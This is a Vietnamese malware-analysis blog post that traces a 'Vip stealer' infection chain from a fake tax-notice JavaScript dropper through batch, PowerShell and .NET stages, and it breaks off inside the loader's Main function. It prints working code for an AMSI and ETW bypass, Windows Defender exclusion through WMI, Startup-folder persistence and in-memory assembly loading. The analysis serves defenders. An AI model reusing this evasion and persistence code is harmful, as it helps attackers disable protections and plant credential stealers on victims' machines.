Post

Vip stealer - Malware analysis 01

Thông tin

Trường thông tinMô tả
Tên malwareThông báo của HĐĐT Công ty vi phạm thuế quá mức – Thông báo số 10964001.js
Loại malwareSpyware / Keylogger / Monitoring Tool
SHA25603034db898bb76e51b941005585251b64956ae5ff4ce2e55cbbdab9174e00a55
Kích thước tập tin345,938 bytes
Ngôn ngữ lập trìnhJavaScript / C# / PowerShell / Batch
Hành vi chínhGhi phím, chụp màn hình, theo dõi clipboard, theo dõi ứng dụng, gửi log qua email/FTP
C2 ServerĐịa chỉ máy chủ điều khiển (nếu có)
Mức độ nguy hiểmTrung bình → Cao
Hệ điều hành bị ảnh hưởngWindows
Sample Downloadhttps://bazaar.abuse.ch/download/03034db898bb76e51b941005585251b64956ae5ff4ce2e55cbbdab9174e00a55

Sơ đồ tấn công

1
2
3
4
5
6
7
8
9
10
11
JS (WSH)
 ↓
BAT (deobf)
 ↓
PowerShell (ETW/AMSI bypass)
 ↓
.NET Loader (dropper + persistence)
 ↓
Stealer .NET (keylog, screenshot, cookies, browser passwords)
 ↓
Exfil (Telegram/FTP/Panel/SMTP)

Phân tích

Stage 1 - JavaScript file analysis

File mã độc ban đầu là 1 file JavaScript bị làm rối. Chúng ta có thể sử dụng 1 vài công cụ để deobfuscate như công cụ này

image

Sau khi deobfuscate có thể thấy chúng ghép các chuỗi lại và chạy bằng Windows Script Host (WSH). Nối thủ công lại ta có 1 vài đoạn mã như sau:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
var Hairstreak = new this["ActiveXObject"]("Scripting.FileSystemObject");
var Banded = Hairstreak.CreateTextFile(
    Hairstreak.GetSpecialFolder(2) + "\\Anise.bat",
    true
);

Banded.WriteLine("............")
Banded.Write("........................")
Banded.Close();

var Morpho = Hairstreak.OpenTextFile(
    Hairstreak.GetSpecialFolder(2) + "\\Anise.bat",
    1
).ReadAll();


Morpho = Morpho.replace(/ BANANA /g, "");
Hairstreak.CreateTextFile(
    Hairstreak.GetSpecialFolder(2) + "\\Anise.bat",
    true
).Write(Morpho);

this.GetObject("winmgmts:")
    .Get("Win32_Process")
    .Create(
        "cmd /c " + Hairstreak.GetSpecialFolder(2) + "\\Anise.bat",
        null,
        null,
        null
    );

Trong đoạn mã trên, ban đầu chúng tạo 1 file batch rỗng có tên là Anise.bat tại GetSpecialFolder(2) -> TemporaryFolder
Sau đó, ghi toàn bộ payload từ Banded.Write* vào file và xóa chuỗi BANANA. Cuối cùng là thực thi file

image

Stage 2 - Batch file analysis

Để lấy được file Anise.bat mình comment đoạn thực thi để chỉ lấy file trong thư mục Temp, để chạy file js ta có thể sử dụng wscript

image

Tuy nhiên file bat lại bị obfuscate cho nên ta sẽ dùng batch_deobfuscator để deobfuscate
Sau khi deobfuscate, mã nguồn có 3 đoạn ta cần chú ý
Đầu tiên là copy file hiện tại thành aoc.bat

image

Thứ 2 là set rất nhiều biến nhưng hoàn toàn không sử dụng trong file này

image

Tiếp theo là chạy 1 lệnh powershell được ẩn dưới dạng base64

image

Sau khi giải mã payload trên ta được 1 đoạn powershell như sau:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$c = 'H4sIAAAAAAAEAH2RXUvDMBSG/0oJERq1ha2tFy1FUDoZDBz7uJoiaTyucTUtafYhXf/7UjN3IRhy8Z6c8z4nJwnOqdArRRjELl7Os9l09jwaT7IXWjE/pwol/MNdQKO8KVWFg42ftFjS/YQLaNI1+80e71v85ngl34CD4ji+Rl2CayrVIHUv/r+mgXYdr3TOn2/zRkku1m5IOmLIoYUcWsnAQgZWMrSQoZWMLGT0L7nhe56ad7oxlzYSGAmNRAmmdV2CPqIHPAl1SRkgRoWoRA6UFU21VcVPhG4Rujg+83G/J/1Pmh6kVfK75XBwVws4KD8TrHrXA73G8VJwHYP/BGpuhlw9VmIHUuniSFZfD7SBu/BcO7cjpGNUsaLtuu4EM5U1gFICAAA=';
$ms = New - Object IO.MemoryStream(, [Convert]::FromBase64String($c));
$gz = New - Object IO.Compression.GZipStream($ms, [IO.Compression.CompressionMode]::Decompress);
$sr = New - Object IO.StreamReader($gz);
iex($sr.ReadToEnd());
$sr.Close();
$gz.Close();
$ms.Close();
$p1 = 'H4sIAAAAAAAEAF2OybKjRhBFf8WLjuinkN1MAkE7vBBjAUJMYnR4AaKAEvMs9PV+dnthO1eZJ869kV/Qb1/BaVIvP0a6aL6X4Fhq8HdOf6U6odwHkV8MN6H2ziZKnSJ45YjIAkXUEtQ36b1GadXhbIa1GiAc/PbcVW9Y3u+WOs6vUXmD0Vxz1SmSbQYRl10g58xwVo4EyegPJjdFLx3YWgD1KBtlurU4q8KhAIiJxr1shxvxsrmbigTxNdK2yrxz94nLF7rFSKiVGn+XYDGytq+EkeQ36Ci7dqylJT+hczDhjs27kd+SIUonthDzTqyIRgVaMc4a3hbzo0JCkVqD8ioGQhrryWSN9U2GSaXgFTBoV5I68b0FVoPfBeZR28IDp3S87SBj0vnLY1s9AefYACMXcCchn2lon5gp31HhLC67pRaMqKCN65Q5zg3F6Y/7FculUFbDsNyBHOeUzFZnD/ZYrFwLASO1rhtvx67GGDg6eegUsy2wss6IRsMVTmksNrIGaDgGqR4xMxPr3PEcf84pCZDy/RaiiW8JJX5YDZrDtUxdQPQsEV3jhYtzrA7FOmPbcuVIke7uR5onjmUdkLO10MJbCprVVt2G87K4r2pmBeVZIRrBPynh';
$p2 = 'HLMAvjeTl4rePbk5RmgVEQrTqA7KwvHZSIcGE6VT1McmW+GGUbFpHxNWvcYTM6szz06BzgIrO9lFYzML8KlMs1wqToKW5sinxDzPO8jupnfZikLXG1oVcqnaV8c0+02iW+TqzjOnUnyzVByuxDnpHZ5snGusJZlxdt9IrlYaSLt4TbTO8m+1lHttxCb1Nj9mS+CvmEM78irUDuFJx9D3Q5knVKzk5Xl5dwyO9QRYWJtXcbVA4ovxg0CdLWlDw7S/dkIdTHXh6Sgz5nMpKn5JWJC+YHy1i3c92e0GiVo4yKgzOigzgs36kjeYgzbEtd/dfHcb+ZfbRQ2W93UG4wHj0amankfuxXjr8Q7cBeaA4hRbOkFRAD0sKAMK6zCQj2G15hY4QrYsYbypsZlS1/sV5OeqFabwhcdEnUBaFfsRczEi8iwjtgN/8YHTyY/Kr/w287u3sY8rRXYhA6gxoCLN5IvL5euvCL4+Pm5w+8VMn/Ax/6Sa39x5hEnjwCSD48fvn0Domn6E04S69psSo/6H8Mf37y3c/hYM2HTj/l8sdO0Kx/nzlMeu4ZMJMqdPA7XFxxd0OPz8/+J/7UaXwc+cCB//sMPh8O2vf+6d1GYfh8OfqsYE9LcEAAA=';
$d = $p1 + $p2;
$ms2 = New - Object IO.MemoryStream(, [Convert]::FromBase64String($d));
$gz2 = New - Object IO.Compression.GZipStream($ms2, [IO.Compression.CompressionMode]::Decompress);
$sr2 = New - Object IO.StreamReader($gz2);
iex($sr2.ReadToEnd());
$sr2.Close();
$gz2.Close();
$ms2.Close()
Trước hết, giải mã và thực thi $c (base64 + gz), sau đó nối 2 biến $p1 và $p2 lại sau đó giải mã tương tự và thực thi. Ta sẽ phân tích từng phần một

$c payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
$banana = "$env:USERPROFILE\aoc.bat";
if (Test - Path $banana)  {
    $rawLines = gc $banana|? {
        $_  - like ":::*"
    };
    $part1 = ($rawLines|? {
        $_  - like ":::1*"
    }

    |% {
        $_.Substring(4)
    }

    );
    $part2 = ($rawLines|? {
        $_  - like ":::2*"
    }

    |% {
        $_.Substring(4)
    }

    );
    $part3 = ($rawLines|? {
        $_  - like ":::3*"
    }

    |% {
        $_.Substring(4)
    }

    );
    $part4 = ($rawLines|? {
        $_  - like ":::4*"
    }

    |% {
        $_.Substring(4)
    }

    );
    $part5 = ($rawLines|? {
        $_  - like ":::5*"
    }

    |% {
        $_.Substring(4)
    }

    );
    $kiwi = $part1 + $part2 + $part3 + $part4 + $part5;
    $apple = ($kiwi - replace"cannonbeachsouthbeach", "" - replace"jbI", "");
    if ($apple)  {
        try {
            iex([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($apple)))
        } catch {}

    }

}
Tóm tắt thì đoạn powershell này trích xuất tất cả các chuỗi bắt đầu bằng ::: trong aoc.bat (chính là file vừa được copy) và ghép lại với nhau theo thứ tự

image

Sau đó tiến hành loại bỏ chuỗi cannonbeachsouthbeach và chuỗi jbI
Cuối cùng là decode base64 + thực thi (iex)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
$Tcmv4DMVenw5 = 'si'; $AJSbjt2AKTcl = 'Am'; $IQajs1AJSbkt2BKT = [REf].AsSEmbLy.GEtTyPe(('System.Management.Automation.{0}{1}Utils' -f $AJSbjt2AKTcl, $Tcmv4DMVenw5)); $qz8HQZiq09HR = $IQajs1AJSbkt2BKT.GeTFieLD(('am{0}InitFailed' -f $Tcmv4DMVenw5),'NoNPUbLiC,StATIc'); $qz8HQZiq09HR.("Set" + "Value")($null,$true)
$PAGE_READONLY = 0x02
$PAGE_READWRITE = 0x04
$PAGE_EXECUTE_READWRITE = 0x40
$PAGE_EXECUTE_READ = 0x20
$PAGE_GUARD = 0x100
$MEM_COMMIT = 0x1000
$MAX_PATH = 260

function IsReadable($protect, $state) {
    return ((($protect -band $PAGE_READONLY) -eq $PAGE_READONLY -or ($protect -band $PAGE_READWRITE) -eq $PAGE_READWRITE -or ($protect -band $PAGE_EXECUTE_READWRITE) -eq $PAGE_EXECUTE_READWRITE -or ($protect -band $PAGE_EXECUTE_READ) -eq $PAGE_EXECUTE_READ) -and ($protect -band $PAGE_GUARD) -ne $PAGE_GUARD -and ($state -band $MEM_COMMIT) -eq $MEM_COMMIT)
}

if ($PSVersionTable.PSVersion.Major -gt 2) {
    $DynAssembly = New-Object System.Reflection.AssemblyName("Win32")
    $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
    $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule("Win32", $False)

    $TypeBuilder = $ModuleBuilder.DefineType("Win32.MEMORY_INFO_BASIC", [System.Reflection.TypeAttributes]::Public + [System.Reflection.TypeAttributes]::Sealed + [System.Reflection.TypeAttributes]::SequentialLayout, [System.ValueType])
    [void]$TypeBuilder.DefineField("BaseAddress", [IntPtr], [System.Reflection.FieldAttributes]::Public)
    [void]$TypeBuilder.DefineField("AllocationBase", [IntPtr], [System.Reflection.FieldAttributes]::Public)
    [void]$TypeBuilder.DefineField("AllocationProtect", [Int32], [System.Reflection.FieldAttributes]::Public)
    [void]$TypeBuilder.DefineField("RegionSize", [IntPtr], [System.Reflection.FieldAttributes]::Public)
    [void]$TypeBuilder.DefineField("State", [Int32], [System.Reflection.FieldAttributes]::Public)
    [void]$TypeBuilder.DefineField("Protect", [Int32], [System.Reflection.FieldAttributes]::Public)
    [void]$TypeBuilder.DefineField("Type", [Int32], [System.Reflection.FieldAttributes]::Public)
    $MEMORY_INFO_BASIC_STRUCT = $TypeBuilder.CreateType()

    $TypeBuilder = $ModuleBuilder.DefineType("Win32.SYSTEM_INFO", [System.Reflection.TypeAttributes]::Public + [System.Reflection.TypeAttributes]::Sealed + [System.Reflection.TypeAttributes]::SequentialLayout, [System.ValueType])
    [void]$TypeBuilder.DefineField("wProcessorArchitecture", [UInt16], [System.Reflection.FieldAttributes]::Public)
    [void]$TypeBuilder.DefineField("wReserved", [UInt16], [System.Reflection.FieldAttributes]::Public)
    [void]$TypeBuilder.DefineField("dwPageSize", [UInt32], [System.Reflection.FieldAttributes]::Public)
    [void]$TypeBuilder.DefineField("lpMinimumApplicationAddress", [IntPtr], [System.Reflection.FieldAttributes]::Public)
    [void]$TypeBuilder.DefineField("lpMaximumApplicationAddress", [IntPtr], [System.Reflection.FieldAttributes]::Public)
    [void]$TypeBuilder.DefineField("dwActiveProcessorMask", [IntPtr], [System.Reflection.FieldAttributes]::Public)
    [void]$TypeBuilder.DefineField("dwNumberOfProcessors", [UInt32], [System.Reflection.FieldAttributes]::Public)
    [void]$TypeBuilder.DefineField("dwProcessorType", [UInt32], [System.Reflection.FieldAttributes]::Public)
    [void]$TypeBuilder.DefineField("dwAllocationGranularity", [UInt32], [System.Reflection.FieldAttributes]::Public)
    [void]$TypeBuilder.DefineField("wProcessorLevel", [UInt16], [System.Reflection.FieldAttributes]::Public)
    [void]$TypeBuilder.DefineField("wProcessorRevision", [UInt16], [System.Reflection.FieldAttributes]::Public)
    $SYSTEM_INFO_STRUCT = $TypeBuilder.CreateType()

    $TypeBuilder = $ModuleBuilder.DefineType("Win32.Kernel32", "Public, Class")
    $DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String]))
    $SetLastError = [Runtime.InteropServices.DllImportAttribute].GetField("SetLastError")
    $SetLastErrorCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, "kernel32.dll", [Reflection.FieldInfo[]]@($SetLastError), @($True))

    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("VirtualProtect", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [bool], [Type[]]@([IntPtr], [IntPtr], [Int32], [Int32].MakeByRefType()), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
    $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)

    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("GetCurrentProcess", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [IntPtr], [Type[]]@(), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
    $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)

    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("VirtualQuery", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [IntPtr], [Type[]]@([IntPtr], [Win32.MEMORY_INFO_BASIC].MakeByRefType(), [uint32]), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
    $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)

    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("GetSystemInfo", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [void], [Type[]]@([Win32.SYSTEM_INFO].MakeByRefType()), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
    $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)

    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("GetMappedFileName", "psapi.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [Int32], [Type[]]@([IntPtr], [IntPtr], [System.Text.StringBuilder], [uint32]), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
    $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)

    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("ReadProcessMemory", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [Int32], [Type[]]@([IntPtr], [IntPtr], [byte[]], [int], [int].MakeByRefType()), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
    $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)

    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("WriteProcessMemory", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [Int32], [Type[]]@([IntPtr], [IntPtr], [byte[]], [int], [int].MakeByRefType()), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
    $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)

    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("GetProcAddress", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [IntPtr], [Type[]]@([IntPtr], [string]), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
    $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)

    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("GetModuleHandle", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [IntPtr], [Type[]]@([string]), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
    $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)

    $Kernel32 = $TypeBuilder.CreateType()

    try { $ExecutionContext.SessionState.LanguageMode = 'FullLanguage' } catch { }
    try { Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope CurrentUser -Force -ErrorAction SilentlyContinue } catch { }

    $etwAddr = [Win32.Kernel32]::GetProcAddress([Win32.Kernel32]::GetModuleHandle("ntdll.dll"), "EtwEventWrite")
    if ($etwAddr -ne [IntPtr]::Zero) {
        $oldProtect = 0
        $patchSize = if ([Environment]::Is64BitProcess) { 1 } else { 3 }
        $patchBytes = if ([Environment]::Is64BitProcess) { @(0xC3) } else { @(0xC2, 0x14, 0x00) }
        if ([Win32.Kernel32]::VirtualProtect($etwAddr, $patchSize, 0x40, [ref]$oldProtect)) {
            [System.Runtime.InteropServices.Marshal]::Copy($patchBytes, 0, $etwAddr, $patchSize)
            [Win32.Kernel32]::VirtualProtect($etwAddr, $patchSize, $oldProtect, [ref]$oldProtect)
        }
    }

    try {
        $amsiUtils = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
        if ($amsiUtils) {
            $amsiUtils.GetField('amsiSession','NonPublic,Static').SetValue($null, $null)
            $amsiUtils.GetField('amsiContext','NonPublic,Static').SetValue($null, [IntPtr]::Zero)
        }
    } catch { }

    try {
        if (Test-Path 'HKLM:\SOFTWARE\Microsoft\AMSI\Providers' -ErrorAction SilentlyContinue) {
            Get-ChildItem 'HKLM:\SOFTWARE\Microsoft\AMSI\Providers' -ErrorAction SilentlyContinue | ForEach-Object { Remove-Item $_.PSPath -Recurse -Force -ErrorAction SilentlyContinue }
        }
    } catch { }

    $a = "Ams"
    $b = "iSc"
    $c = "anBuf"
    $d = "fer"
    $signature = [System.Text.Encoding]::UTF8.GetBytes($a + $b + $c + $d)
    $hProcess = [Win32.Kernel32]::GetCurrentProcess()
    $sysInfo = New-Object Win32.SYSTEM_INFO
    [void][Win32.Kernel32]::GetSystemInfo([ref]$sysInfo)

    $clrModules = [System.Collections.ArrayList]::new()
    $address = [IntPtr]::Zero
    $memInfo = New-Object Win32.MEMORY_INFO_BASIC
    $pathBuilder = New-Object System.Text.StringBuilder $MAX_PATH
    $maxAddr = $sysInfo.lpMaximumApplicationAddress.ToInt64()
    
    while ($address.ToInt64() -lt $maxAddr) {
        $queryResult = [Win32.Kernel32]::VirtualQuery($address, [ref]$memInfo, [System.Runtime.InteropServices.Marshal]::SizeOf($memInfo))
        if ($queryResult) {
            if ((IsReadable $memInfo.Protect $memInfo.State) -and ($memInfo.RegionSize.ToInt64() -gt 0x1000)) {
                [void]$pathBuilder.Clear()
                $mappedResult = [Win32.Kernel32]::GetMappedFileName($hProcess, $memInfo.BaseAddress, $pathBuilder, $MAX_PATH)
                if ($mappedResult -gt 0) {
                    if ($pathBuilder.ToString().EndsWith("clr.dll", [StringComparison]::InvariantCultureIgnoreCase)) {
                        [void]$clrModules.Add($memInfo)
                    }
                }
            }
        }
        $address = New-Object IntPtr($memInfo.BaseAddress.ToInt64() + $memInfo.RegionSize.ToInt64())
    }

    $maxBufferSize = 0x100000
    $sigLen = $signature.Length
    $buffer = New-Object byte[] $maxBufferSize
    $replacement = New-Object byte[] $sigLen
    $bytesRead = 0
    $bytesWritten = 0
    
    foreach ($region in $clrModules) {
        $regionSize = $region.RegionSize.ToInt64()
        $processed = 0
        
        while ($processed -lt $regionSize) {
            $chunkSize = [Math]::Min($maxBufferSize, $regionSize - $processed)
            $currentAddr = [IntPtr]::Add($region.BaseAddress, $processed)
            
            $readResult = [Win32.Kernel32]::ReadProcessMemory($hProcess, $currentAddr, $buffer, $chunkSize, [ref]$bytesRead)
            if ($readResult -and $bytesRead -gt $sigLen) {
                $searchLimit = $bytesRead - $sigLen
                
                for ($k = 0; $k -le $searchLimit; $k += 4) {
                    if ($buffer[$k] -eq $signature[0]) {
                        $found = $true
                        for ($m = 1; $m -lt $sigLen; $m++) {
                            if ($buffer[$k + $m] -ne $signature[$m]) {
                                $found = $false
                                break
                            }
                        }
                        
                        if ($found) {
                            $targetAddr = [IntPtr]::Add($currentAddr, $k)
                            $oldProtect = 0
                            
                            $protectResult = [Win32.Kernel32]::VirtualProtect($targetAddr, $sigLen, $PAGE_EXECUTE_READWRITE, [ref]$oldProtect)
                            if ($protectResult) {
                                [void][Win32.Kernel32]::WriteProcessMemory($hProcess, $targetAddr, $replacement, $sigLen, [ref]$bytesWritten)
                                [void][Win32.Kernel32]::VirtualProtect($targetAddr, $sigLen, $oldProtect, [ref]$oldProtect)
                                return
                            }
                        }
                    }
                }
            }
            $processed += $chunkSize
        }
    }
}
Đoạn PowerShell này là một module có nhiệm vụ vô hiệu hóa hoàn toàn AMSI và ETW để tất cả các payload độc hại tiếp theo có thể chạy mà không bị Windows Defender, AV hay EDR phát hiện.

$d payload ($p1 + $p2)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
$mnMCj = $env:USERNAME;
$KKfcv = "C:\Users\$mnMCj\aoc.bat";
function KLEf($param_var) {
    $aes_var = [System.Security.Cryptography.Aes]::Create();
    $aes_var.Mode = [System.Security.Cryptography.CipherMode]::CBC;
    $aes_var.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;
    $aes_var.Key = [System.Convert]::FromBase64String('pfcTWkcQdq6v/K4qTIMJo4Kwb3lOmsQadEIrkANncAI=');
    $aes_var.IV = [System.Convert]::FromBase64String('4k5Qir/iEe0CEnOu3VyIxg==');
    $decryptor_var = $aes_var.CreateDecryptor();
    $return_var = $decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length);
    $decryptor_var.Dispose();
    $aes_var.Dispose();
    $return_var;
}

function wBNwO($param_var) {
    $CMaxj = New - Object System.IO.MemoryStream(, $param_var);
    $lNoSh = New - Object System.IO.MemoryStream;
    $wdTyB = New - Object System.IO.Compression.GZipStream($CMaxj, [IO.Compression.CompressionMode]::Decompress);
    $wdTyB.CopyTo($lNoSh);
    $wdTyB.Dispose();
    $CMaxj.Dispose();
    $lNoSh.Dispose();
    $lNoSh.ToArray();
}

function WVvi($param_var, $param2_var) {
    $vlXfi = [System.Reflection.Assembly]::Load([byte[]]$param_var);
    $vlxGP = $vlXfi.EntryPoint;
    $vlxGP.Invoke($null, $param2_var);
}

$host.UI.RawUI.WindowTitle = $KKfcv;
$dYauV = [System.IO.File]::ReadAllText($KKfcv).Split([Environment]::NewLine);
foreach ($aWhsb in $dYauV) {
    if ($aWhsb.StartsWith(':: '))  {
        $HgQTy = $aWhsb.Substring(3);
        break;
    }

}

$dfRJ = [string[]]$HgQTy.Split('\');$JLfKE=wBNwO (KLEf ([Convert]::FromBase64String($dfRJ[0])));$WsRB=wBNwO (KLEf ([Convert]::FromBase64String($dfRJ[1])));WVvi $JLfKE $null;WVvi $WsRB (,[string[]] ('% * '));
Đoạn mã này tìm chuỗi :: trong file aoc.bat, sau đó giải mã AES + GZip và chạy payload .NET ẩn trực tiếp trong RAM.

image

Ciphertext bao gồm 2 phần được phân tách bởi kí tự \ vì vậy sau khi giải mã sẽ có 2 payload .NET khác nhau
1
2
3
4
5
6
7
8
9
aoc.bat (dòng :: chứa dữ liệu mã hóa)
           ↓
Base64 → AES decrypt → GZip decompress
           ↓
byte[] của assembly .NET (EXE/DLL)
           ↓
Assembly.Load(byte[])   ← chạy trong RAM
           ↓
EntryPoint.Invoke()     ← thực thi payload

Stage 3 - .NET1 analysis

Sau khi trích xuất được 2 file .NET tiến hành phân tích. Tuy nhiên, chỉ có 1 file chứa dữ liệu thực sự. Ta sẽ cùng phân tích từ trên xuống các hàm quan trọng:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public static void AddDefenderExclusionWMI(string path)
{
	try
	{
		ManagementScope managementScope = new ManagementScope("\\\\.\\root\\Microsoft\\Windows\\Defender");
		managementScope.Connect();
		ManagementClass managementClass = new ManagementClass(managementScope, new ManagementPath("MSFT_MpPreference"), null);
		ManagementBaseObject methodParameters = managementClass.GetMethodParameters("Add");
		methodParameters["ExclusionPath"] = new string[]
		{
			path
		};
		managementClass.InvokeMethod("Add", methodParameters, null);
	}
	catch (Exception ex)
	{
		Console.WriteLine("Error adding exclusion: " + ex.Message);
	}
}

-> Đoạn code này rất rõ ràng là một hàm dùng để thêm thư mục/file vào danh sách ngoại lệ (Exclusions) của Windows Defender, qua WMI

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
private static void installstartup_function_name(string batPath)
{
	try
	{
		string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.Startup);
		if (!Directory.Exists(folderPath))
		{
			Directory.CreateDirectory(folderPath);
		}
		try
		{
			string[] files = Directory.GetFiles(folderPath, "*.bat");
			foreach (string text in files)
			{
				try
				{
					File.Delete(text);
					Console.WriteLine("  Removed existing: " + text);
				}
				catch (Exception ex)
				{
					Console.WriteLine("  Failed to remove: " + text + " - " + ex.Message);
				}
			}
		}
		catch (Exception ex2)
		{
			Console.WriteLine("  Cleanup error: " + ex2.Message);
		}

		string path = string.Format("{0}.bat", Guid.NewGuid().ToString().Substring(0, 4));
		string text2 = Path.Combine(folderPath, path);

		if (!string.Equals(Path.GetFullPath(batPath), Path.GetFullPath(text2), StringComparison.OrdinalIgnoreCase))
		{
			File.Copy(batPath, text2, true);
			Console.WriteLine("  Location: " + text2);
		}
	}
	catch (Exception ex3)
	{
		Console.WriteLine("  " + ex3.Message);
	}
}

-> Đây là persistence mechanism – tức cơ chế tự khởi động. Nó thêm file .BAT đã được chỉ định vào thư mục Startup của Windows. Nghĩa là mỗi lần bật máy, file sẽ tự chạy

Và cuối cùng đây là hàm main của nó + chức năng của các phần trong hàm:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
// LIItCjyIInZnQjPaXCPmtxbdi.SfLMnxxmiilFLzMGpIpPIuXZY
// Token: 0x06000006 RID: 6 RVA: 0x000020AC File Offset: 0x000002AC
private static void Main(string[] args)
{
	try
	{
		IntPtr consoleWindow = SfLMnxxmiilFLzMGpIpPIuXZY.GetConsoleWindow();
		SfLMnxxmiilFLzMGpIpPIuXZY.ShowWindow(consoleWindow, SfLMnxxmiilFLzMGpIpPIuXZY.SW_HIDE);
		Process.GetCurrentProcess().PriorityClass = ProcessPriorityClass.BelowNormal;
        // Ẩn chương trình, chạy im lặng trong nền.
	}
	catch
	{
	}
	try
	{
		if (!SfLMnxxmiilFLzMGpIpPIuXZY.isstartup_function_name(Console.Title))
		{
			SfLMnxxmiilFLzMGpIpPIuXZY.installstartup_function_name(Console.Title);
            //Persistence
		}
	}
	catch (Exception ex)
	{
		MessageBox.Show("Startup Error: " + ex.ToString());
		Process.GetCurrentProcess().Kill();
	}
	IntPtr hModule = SfLMnxxmiilFLzMGpIpPIuXZY.LoadLibrary("ntdll.dll");
	IntPtr procAddress = SfLMnxxmiilFLzMGpIpPIuXZY.GetProcAddress(hModule, "EtwEventWrite");
	byte[] array2;
	if (IntPtr.Size != 8)
	{
		byte[] array = new byte[3];
		array[0] = 194;
		array[1] = 20;
		array2 = array;
	}
	else
	{
		array2 = new byte[]
		{
			195
		};
	}
	byte[] array3 = array2;
	uint flNewProtect;
